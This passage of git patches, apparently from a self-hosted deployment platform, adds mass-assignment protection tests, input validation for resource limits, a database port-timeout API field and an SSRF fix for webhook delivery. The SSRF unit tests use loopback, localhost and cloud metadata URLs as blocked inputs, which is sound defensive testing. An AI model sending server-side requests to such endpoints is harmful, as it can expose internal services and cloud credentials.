isEmailChangeCodeValid(string $code): bool diff --git a/bootstrap/helpers/applications.php b/bootstrap/helpers/applications.php index c522cd0ca..fbcedf277 100644 --- a/bootstrap/helpers/applications.php +++ b/bootstrap/helpers/applications.php @@ -6,6 +6,7 @@ use App\Jobs\VolumeCloneJob; use App\Models\Application; use App\Models\ApplicationDeploymentQueue; +use App\Models\EnvironmentVariable; use App\Models\Server; use App\Models\StandaloneDocker; use Spatie\Url\Url; @@ -192,7 +193,7 @@ function clone_application(Application $source, $destination, array $overrides = $server = $destination->server; if ($server->team_id !== currentTeam()->id) { - throw new \RuntimeException('Destination does not belong to the current team.'); + throw new RuntimeException('Destination does not belong to the current team.'); } // Prepare name and URL @@ -211,7 +212,7 @@ function clone_application(Application $source, $destination, array $overrides = 'updated_at', 'additional_servers_count', 'additional_networks_count', - ])->fill(array_merge([ + ])->forceFill(array_merge([ 'uuid' => $uuid, 'name' => $name, 'fqdn' => $url, @@ -322,8 +323,8 @@ function clone_application(Application $source, $destination, array $overrides = destination: $source->destination, no_questions_asked: true ); - } catch (\Exception $e) { - \Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage()); + } catch (Exception $e) { + Log::error('Failed to copy volume data for '.$volume->name.': '.$e->getMessage()); } } } @@ -344,7 +345,7 @@ function clone_application(Application $source, $destination, array $overrides = // Clone production environment variables without triggering the created hook $environmentVariables = $source->environment_variables()->get(); foreach ($environmentVariables as $environmentVariable) { - \App\Models\EnvironmentVariable::withoutEvents(function () use ($environmentVariable, $newApplication) { + EnvironmentVariable::withoutEvents(function () use ($environmentVariable, $newApplication) { $newEnvironmentVariable = $environmentVariable->replicate([ 'id', 'created_at', @@ -361,7 +362,7 @@ function clone_application(Application $source, $destination, array $overrides = // Clone preview environment variables $previewEnvironmentVariables = $source->environment_variables_preview()->get(); foreach ($previewEnvironmentVariables as $previewEnvironmentVariable) { - \App\Models\EnvironmentVariable::withoutEvents(function () use ($previewEnvironmentVariable, $newApplication) { + EnvironmentVariable::withoutEvents(function () use ($previewEnvironmentVariable, $newApplication) { $newPreviewEnvironmentVariable = $previewEnvironmentVariable->replicate([ 'id', 'created_at', diff --git a/tests/Feature/MassAssignmentProtectionTest.php b/tests/Feature/MassAssignmentProtectionTest.php new file mode 100644 index 000000000..f6518648f --- /dev/null +++ b/tests/Feature/MassAssignmentProtectionTest.php @@ -0,0 +1,182 @@ +getGuarded(); + $fillable = $model->getFillable(); + + // Model must NOT have $guarded = [] (empty guard = no protection) + // It should either have non-empty $guarded OR non-empty $fillable + $hasProtection = $guarded !== ['*'] ? count($guarded) > 0 : true; + $hasProtection = $hasProtection || count($fillable) > 0; + + expect($hasProtection) + ->toBeTrue("Model {$modelClass} has no mass assignment protection (empty \$guarded and empty \$fillable)"); + } + }); + + test('Application model blocks mass assignment of relationship IDs', function () { + $application = new Application; + $dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type', 'source_id', 'source_type', 'private_key_id', 'repository_project_id']; + + foreach ($dangerousFields as $field) { + expect($application->isFillable($field)) + ->toBeFalse("Application model should not allow mass assignment of '{$field}'"); + } + }); + + test('Application model allows mass assignment of user-facing fields', function () { + $application = new Application; + $userFields = ['name', 'description', 'git_repository', 'git_branch', 'build_pack', 'install_command', 'build_command', 'start_command', 'ports_exposes', 'health_check_path', 'limits_memory', 'status']; + + foreach ($userFields as $field) { + expect($application->isFillable($field)) + ->toBeTrue("Application model should allow mass assignment of '{$field}'"); + } + }); + + test('Server model has $fillable and no conflicting $guarded', function () { + $server = new Server; + $fillable = $server->getFillable(); + $guarded = $server->getGuarded(); + + expect($fillable)->not->toBeEmpty('Server model should have explicit $fillable'); + + // Guarded should be the default ['*'] when $fillable is set, not [] + expect($guarded)->not->toBe([], 'Server model should not have $guarded = [] overriding $fillable'); + }); + + test('Server model blocks mass assignment of dangerous fields', function () { + $server = new Server; + + // These fields should not be mass-assignable via the API + expect($server->isFillable('id'))->toBeFalse(); + expect($server->isFillable('uuid'))->toBeFalse(); + expect($server->isFillable('created_at'))->toBeFalse(); + }); + + test('User model blocks mass assignment of auth-sensitive fields', function () { + $user = new User; + + expect($user->isFillable('id'))->toBeFalse('User id should not be fillable'); + expect($user->isFillable('email_verified_at'))->toBeFalse('email_verified_at should not be fillable'); + expect($user->isFillable('remember_token'))->toBeFalse('remember_token should not be fillable'); + expect($user->isFillable('two_factor_secret'))->toBeFalse('two_factor_secret should not be fillable'); + expect($user->isFillable('two_factor_recovery_codes'))->toBeFalse('two_factor_recovery_codes should not be fillable'); + }); + + test('User model allows mass assignment of profile fields', function () { + $user = new User; + + expect($user->isFillable('name'))->toBeTrue(); + expect($user->isFillable('email'))->toBeTrue(); + expect($user->isFillable('password'))->toBeTrue(); + }); + + test('Team model blocks mass assignment of internal fields', function () { + $team = new Team; + + expect($team->isFillable('id'))->toBeFalse(); + expect($team->isFillable('personal_team'))->toBeFalse('personal_team should not be fillable'); + }); + + test('standalone database models block mass assignment of relationship IDs', function () { + $models = [ + StandalonePostgresql::class, + StandaloneRedis::class, + StandaloneMysql::class, + StandaloneMariadb::class, + StandaloneMongodb::class, + StandaloneKeydb::class, + StandaloneDragonfly::class, + StandaloneClickhouse::class, + ]; + + foreach ($models as $modelClass) { + $model = new $modelClass; + $dangerousFields = ['id', 'uuid', 'environment_id', 'destination_id', 'destination_type']; + + foreach ($dangerousFields as $field) { + expect($model->isFillable($field)) + ->toBeFalse("Model {$modelClass} should not allow mass assignment of '{$field}'"); + } + } + }); + + test('standalone database models allow mass assignment of config fields', function () { + $model = new StandalonePostgresql; + expect($model->isFillable('name'))->toBeTrue(); + expect($model->isFillable('postgres_user'))->toBeTrue(); + expect($model->isFillable('postgres_password'))->toBeTrue(); + expect($model->isFillable('image'))->toBeTrue(); + expect($model->isFillable('limits_memory'))->toBeTrue(); + + $model = new StandaloneRedis; + expect($model->isFillable('redis_password'))->toBeTrue(); + + $model = new StandaloneMysql; + expect($model->isFillable('mysql_root_password'))->toBeTrue(); + + $model = new StandaloneMongodb; + expect($model->isFillable('mongo_initdb_root_username'))->toBeTrue(); + }); + + test('Application fill ignores non-fillable fields', function () { + $application = new Application; + $application->fill([ + 'name' => 'test-app', + 'environment_id' => 999, + 'destination_id' => 999, + 'team_id' => 999, + 'private_key_id' => 999, + ]); + + expect($application->name)->toBe('test-app'); + expect($application->environment_id)->toBeNull(); + expect($application->destination_id)->toBeNull(); + expect($application->private_key_id)->toBeNull(); + }); + + test('Service model blocks mass assignment of relationship IDs', function () { + $service = new Service; + + expect($service->isFillable('id'))->toBeFalse(); + expect($service->isFillable('uuid'))->toBeFalse(); + expect($service->isFillable('environment_id'))->toBeFalse(); + expect($service->isFillable('destination_id'))->toBeFalse(); + expect($service->isFillable('server_id'))->toBeFalse(); + }); +}); From 0b8c75f8edb12bc9084c1b6cd844643d7ae95701 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Mar 2026 14:23:08 +0100 Subject: [PATCH 52/95] fix(webhooks): add validation to block unsafe webhook URLs Prevent server-side request forgery (SSRF) attacks by validating webhook URLs before sending requests. Blocks loopback addresses, cloud metadata endpoints, and localhost URLs. - Add SafeWebhookUrl rule validation in SendWebhookJob.handle() - Log warning when unsafe URLs are rejected - Add comprehensive unit tests covering valid and invalid URL scenarios --- app/Jobs/SendWebhookJob.php | 16 +++++++ tests/Unit/SendWebhookJobTest.php | 77 +++++++++++++++++++++++++++++++ 2 files changed, 93 insertions(+) create mode 100644 tests/Unit/SendWebhookJobTest.php diff --git a/app/Jobs/SendWebhookJob.php b/app/Jobs/SendWebhookJob.php index 607fda3fe..9d2a94606 100644 --- a/app/Jobs/SendWebhookJob.php +++ b/app/Jobs/SendWebhookJob.php @@ -9,6 +9,8 @@ use Illuminate\Queue\InteractsWithQueue; use Illuminate\Queue\SerializesModels; use Illuminate\Support\Facades\Http; +use Illuminate\Support\Facades\Log; +use Illuminate\Support\Facades\Validator; class SendWebhookJob implements ShouldBeEncrypted, ShouldQueue { @@ -40,6 +42,20 @@ public function __construct( */ public function handle(): void { + $validator = Validator::make( + ['webhook_url' => $this->webhookUrl], + ['webhook_url' => ['required', 'url', new \App\Rules\SafeWebhookUrl]] + ); + + if ($validator->fails()) { + Log::warning('SendWebhookJob: blocked unsafe webhook URL', [ + 'url' => $this->webhookUrl, + 'errors' => $validator->errors()->all(), + ]); + + return; + } + if (isDev()) { ray('Sending webhook notification', [ 'url' => $this->webhookUrl, diff --git a/tests/Unit/SendWebhookJobTest.php b/tests/Unit/SendWebhookJobTest.php new file mode 100644 index 000000000..688cd3bf2 --- /dev/null +++ b/tests/Unit/SendWebhookJobTest.php @@ -0,0 +1,77 @@ + Http::response('ok', 200)]); + + $job = new SendWebhookJob( + payload: ['event' => 'test'], + webhookUrl: 'https://example.com/webhook' + ); + + $job->handle(); + + Http::assertSent(function ($request) { + return $request->url() === 'https://example.com/webhook'; + }); +}); + +it('blocks webhook to loopback address', function () { + Http::fake(); + Log::shouldReceive('warning') + ->once() + ->withArgs(function ($message) { + return str_contains($message, 'blocked unsafe webhook URL'); + }); + + $job = new SendWebhookJob( + payload: ['event' => 'test'], + webhookUrl: 'http://127.0.0.1/admin' + ); + + $job->handle(); + + Http::assertNothingSent(); +}); + +it('blocks webhook to cloud metadata endpoint', function () { + Http::fake(); + Log::shouldReceive('warning') + ->once() + ->withArgs(function ($message) { + return str_contains($message, 'blocked unsafe webhook URL'); + }); + + $job = new SendWebhookJob( + payload: ['event' => 'test'], + webhookUrl: 'http://169.254.169.254/latest/meta-data/' + ); + + $job->handle(); + + Http::assertNothingSent(); +}); + +it('blocks webhook to localhost', function () { + Http::fake(); + Log::shouldReceive('warning') + ->once() + ->withArgs(function ($message) { + return str_contains($message, 'blocked unsafe webhook URL'); + }); + + $job = new SendWebhookJob( + payload: ['event' => 'test'], + webhookUrl: 'http://localhost/internal-api' + ); + + $job->handle(); + + Http::assertNothingSent(); +}); From 4213bd5215ec56b385a079df71f4115f768fa5d0 Mon Sep 17 00:00:00 2001 From: Gauthier POGAM--LE MONTAGNER Date: Sat, 28 Mar 2026 16:14:05 +0100 Subject: [PATCH 53/95] fix(langfuse): pin clickhouse version to avoid error during clickhouse init The releases published on 27/03/26 causes Clickhouse to incorrectly initialize. This prevent the DB from restarting after the initial run. This pin the version to the most recent version that was working properly. --- templates/compose/langfuse.yaml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/templates/compose/langfuse.yaml b/templates/compose/langfuse.yaml index 2b877307f..b617cec5c 100644 --- a/templates/compose/langfuse.yaml +++ b/templates/compose/langfuse.yaml @@ -119,7 +119,7 @@ services: retries: 10 clickhouse: - image: clickhouse/clickhouse-server:latest + image: clickhouse/clickhouse-server:26.2.4.23 user: "101:101" environment: - CLICKHOUSE_DB=${CLICKHOUSE_DB:-default} From 6197558a38f5afbb74f138be59b52e705c99bf1e Mon Sep 17 00:00:00 2001 From: ShadowArcanist <162910371+ShadowArcanist@users.noreply.github.com> Date: Sat, 28 Mar 2026 21:08:48 +0530 Subject: [PATCH 54/95] fix(validation): add input validation for resource limit fields --- .../Project/Shared/ResourceLimits.php | 44 ++++++++++++++----- 1 file changed, 32 insertions(+), 12 deletions(-) diff --git a/app/Livewire/Project/Shared/ResourceLimits.php b/app/Livewire/Project/Shared/ResourceLimits.php index 0b3840289..8a14dc10c 100644 --- a/app/Livewire/Project/Shared/ResourceLimits.php +++ b/app/Livewire/Project/Shared/ResourceLimits.php @@ -3,6 +3,7 @@ namespace App\Livewire\Project\Shared; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; +use Illuminate\Validation\ValidationException; use Livewire\Component; class ResourceLimits extends Component @@ -16,24 +17,24 @@ class ResourceLimits extends Component public ?string $limitsCpuset = null; - public ?int $limitsCpuShares = null; + public mixed $limitsCpuShares = null; public string $limitsMemory; public string $limitsMemorySwap; - public int $limitsMemorySwappiness; + public mixed $limitsMemorySwappiness = 0; public string $limitsMemoryReservation; protected $rules = [ - 'limitsMemory' => 'required|string', - 'limitsMemorySwap' => 'required|string', + 'limitsMemory' => ['required', 'string', 'regex:/^(0|\d+[bBkKmMgG])$/'], + 'limitsMemorySwap' => ['required', 'string', 'regex:/^(0|\d+[bBkKmMgG])$/'], 'limitsMemorySwappiness' => 'required|integer|min:0|max:100', - 'limitsMemoryReservation' => 'required|string', - 'limitsCpus' => 'nullable', - 'limitsCpuset' => 'nullable', - 'limitsCpuShares' => 'nullable', + 'limitsMemoryReservation' => ['required', 'string', 'regex:/^(0|\d+[bBkKmMgG])$/'], + 'limitsCpus' => ['nullable', 'regex:/^\d*\.?\d+$/'], + 'limitsCpuset' => ['nullable', 'regex:/^\d+([,-]\d+)*$/'], + 'limitsCpuShares' => 'nullable|integer|min:0', ]; protected $validationAttributes = [ @@ -46,6 +47,19 @@ class ResourceLimits extends Component 'limitsCpuShares' => 'cpu shares', ]; + protected $messages = [ + 'limitsMemory.regex' => 'Maximum Memory Limit must be a number followed by a unit (b, k, m, g). Example: 256m, 1g. Use 0 for unlimited.', + 'limitsMemorySwap.regex' => 'Maximum Swap Limit must be a number followed by a unit (b, k, m, g). Example: 256m, 1g. Use 0 for unlimited.', + 'limitsMemoryReservation.regex' => 'Soft Memory Limit must be a number followed by a unit (b, k, m, g). Example: 256m, 1g. Use 0 for unlimited.', + 'limitsCpus.regex' => 'Number of CPUs must be a number (integer or decimal). Example: 0.5, 2.', + 'limitsCpuset.regex' => 'CPU sets must be a comma-separated list of CPU numbers or ranges. Example: 0-2 or 0,1,3.', + 'limitsMemorySwappiness.integer' => 'Swappiness must be a whole number between 0 and 100.', + 'limitsMemorySwappiness.min' => 'Swappiness must be between 0 and 100.', + 'limitsMemorySwappiness.max' => 'Swappiness must be between 0 and 100.', + 'limitsCpuShares.integer' => 'CPU Weight must be a whole number.', + 'limitsCpuShares.min' => 'CPU Weight must be a positive number.', + ]; + /** * Sync data between component properties and model * @@ -57,10 +71,10 @@ private function syncData(bool $toModel = false): void // Sync TO model (before save) $this->resource->limits_cpus = $this->limitsCpus; $this->resource->limits_cpuset = $this->limitsCpuset; - $this->resource->limits_cpu_shares = $this->limitsCpuShares; + $this->resource->limits_cpu_shares = (int) $this->limitsCpuShares; $this->resource->limits_memory = $this->limitsMemory; $this->resource->limits_memory_swap = $this->limitsMemorySwap; - $this->resource->limits_memory_swappiness = $this->limitsMemorySwappiness; + $this->resource->limits_memory_swappiness = (int) $this->limitsMemorySwappiness; $this->resource->limits_memory_reservation = $this->limitsMemoryReservation; } else { // Sync FROM model (on load/refresh) @@ -91,7 +105,7 @@ public function submit() if (! $this->limitsMemorySwap) { $this->limitsMemorySwap = '0'; } - if (is_null($this->limitsMemorySwappiness)) { + if ($this->limitsMemorySwappiness === '' || is_null($this->limitsMemorySwappiness)) { $this->limitsMemorySwappiness = 60; } if (! $this->limitsMemoryReservation) { @@ -103,7 +117,7 @@ public function submit() if ($this->limitsCpuset === '') { $this->limitsCpuset = null; } - if (is_null($this->limitsCpuShares)) { + if ($this->limitsCpuShares === '' || is_null($this->limitsCpuShares)) { $this->limitsCpuShares = 1024; } @@ -112,6 +126,12 @@ public function submit() $this->syncData(true); $this->resource->save(); $this->dispatch('success', 'Resource limits updated.'); + } catch (ValidationException $e) { + foreach ($e->validator->errors()->all() as $message) { + $this->dispatch('error', $message); + } + + return; } catch (\Throwable $e) { return handleError($e, $this); } From 72118d61f936bf475f8a71530aa70cf3083e50d9 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Sat, 28 Mar 2026 17:08:02 +0100 Subject: [PATCH 55/95] feat(databases): add public port timeout configuration Add support for configuring public port timeout on databases via API: - Add public_port_timeout field to schema documentation with 3600s default - Add validation rules (integer|nullable|min:1) - Update all database type configurations to support the field - Add comprehensive test coverage for the feature --- .../Controllers/Api/DatabasesController.php | 47 +++--- openapi.json | 36 +++++ openapi.yaml | 27 ++++ .../DatabasePublicPortTimeoutApiTest.php | 147 ++++++++++++++++++ 4 files changed, 239 insertions(+), 18 deletions(-) create mode 100644 tests/Feature/DatabasePublicPortTimeoutApiTest.php diff --git a/app/Http/Controllers/Api/DatabasesController.php b/app/Http/Controllers/Api/DatabasesController.php index 660ed4529..33d875758 100644 --- a/app/Http/Controllers/Api/DatabasesController.php +++ b/app/Http/Controllers/Api/DatabasesController.php @@ -264,6 +264,7 @@ public function database_by_uuid(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -327,7 +328,7 @@ public function database_by_uuid(Request $request) )] public function update_by_uuid(Request $request) { - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf', 'clickhouse_admin_user', 'clickhouse_admin_password', 'dragonfly_password', 'redis_password', 'redis_conf', 'keydb_password', 'keydb_conf', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf', 'clickhouse_admin_user', 'clickhouse_admin_password', 'dragonfly_password', 'redis_password', 'redis_conf', 'keydb_password', 'keydb_conf', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $teamId = getTeamIdFromToken(); if (is_null($teamId)) { return invalidTokenResponse(); @@ -344,6 +345,7 @@ public function update_by_uuid(Request $request) 'image' => 'string', 'is_public' => 'boolean', 'public_port' => 'numeric|nullable', + 'public_port_timeout' => 'integer|nullable|min:1', 'limits_memory' => 'string', 'limits_memory_swap' => 'string', 'limits_memory_swappiness' => 'numeric', @@ -375,7 +377,7 @@ public function update_by_uuid(Request $request) } switch ($database->type()) { case 'standalone-postgresql': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'postgres_user', 'postgres_password', 'postgres_db', 'postgres_initdb_args', 'postgres_host_auth_method', 'postgres_conf']; $validator = customApiValidator($request->all(), [ 'postgres_user' => 'string', 'postgres_password' => 'string', @@ -406,20 +408,20 @@ public function update_by_uuid(Request $request) } break; case 'standalone-clickhouse': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'clickhouse_admin_user', 'clickhouse_admin_password']; $validator = customApiValidator($request->all(), [ 'clickhouse_admin_user' => 'string', 'clickhouse_admin_password' => 'string', ]); break; case 'standalone-dragonfly': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'dragonfly_password']; $validator = customApiValidator($request->all(), [ 'dragonfly_password' => 'string', ]); break; case 'standalone-redis': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'redis_password', 'redis_conf']; $validator = customApiValidator($request->all(), [ 'redis_password' => 'string', 'redis_conf' => 'string', @@ -446,7 +448,7 @@ public function update_by_uuid(Request $request) } break; case 'standalone-keydb': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'keydb_password', 'keydb_conf']; $validator = customApiValidator($request->all(), [ 'keydb_password' => 'string', 'keydb_conf' => 'string', @@ -473,7 +475,7 @@ public function update_by_uuid(Request $request) } break; case 'standalone-mariadb': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mariadb_conf', 'mariadb_root_password', 'mariadb_user', 'mariadb_password', 'mariadb_database']; $validator = customApiValidator($request->all(), [ 'mariadb_conf' => 'string', 'mariadb_root_password' => 'string', @@ -503,7 +505,7 @@ public function update_by_uuid(Request $request) } break; case 'standalone-mongodb': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mongo_conf', 'mongo_initdb_root_username', 'mongo_initdb_root_password', 'mongo_initdb_database']; $validator = customApiValidator($request->all(), [ 'mongo_conf' => 'string', 'mongo_initdb_root_username' => 'string', @@ -533,7 +535,7 @@ public function update_by_uuid(Request $request) break; case 'standalone-mysql': - $allowedFields = ['name', 'description', 'image', 'public_port', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; + $allowedFields = ['name', 'description', 'image', 'public_port', 'public_port_timeout', 'is_public', 'instant_deploy', 'limits_memory', 'limits_memory_swap', 'limits_memory_swappiness', 'limits_memory_reservation', 'limits_cpus', 'limits_cpuset', 'limits_cpu_shares', 'mysql_root_password', 'mysql_password', 'mysql_user', 'mysql_database', 'mysql_conf']; $validator = customApiValidator($request->all(), [ 'mysql_root_password' => 'string', 'mysql_password' => 'string', @@ -1068,6 +1070,7 @@ public function update_backup(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1135,6 +1138,7 @@ public function create_database_postgresql(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1201,6 +1205,7 @@ public function create_database_clickhouse(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1268,6 +1273,7 @@ public function create_database_dragonfly(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1335,6 +1341,7 @@ public function create_database_redis(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1405,6 +1412,7 @@ public function create_database_keydb(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1475,6 +1483,7 @@ public function create_database_mariadb(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds (default: 3600)'], 'limits_memory' => ['type' => 'string', 'description' => 'Memory limit of the database'], 'limits_memory_swap' => ['type' => 'string', 'description' => 'Memory swap limit of the database'], 'limits_memory_swappiness' => ['type' => 'integer', 'description' => 'Memory swappiness of the database'], @@ -1542,6 +1551,7 @@ public function create_database_mysql(Request $request) 'image' => ['type' => 'string', 'description' => 'Docker Image of the database'], 'is_public' => ['type' => 'boolean', 'description' => 'Is the database public?'], 'public_port' => ['type' => 'integer', 'description' => 'Public port of the database'], + 'public_port_timeout' => ['type' => 'integer', 'description' => 'Public port timeout in seconds 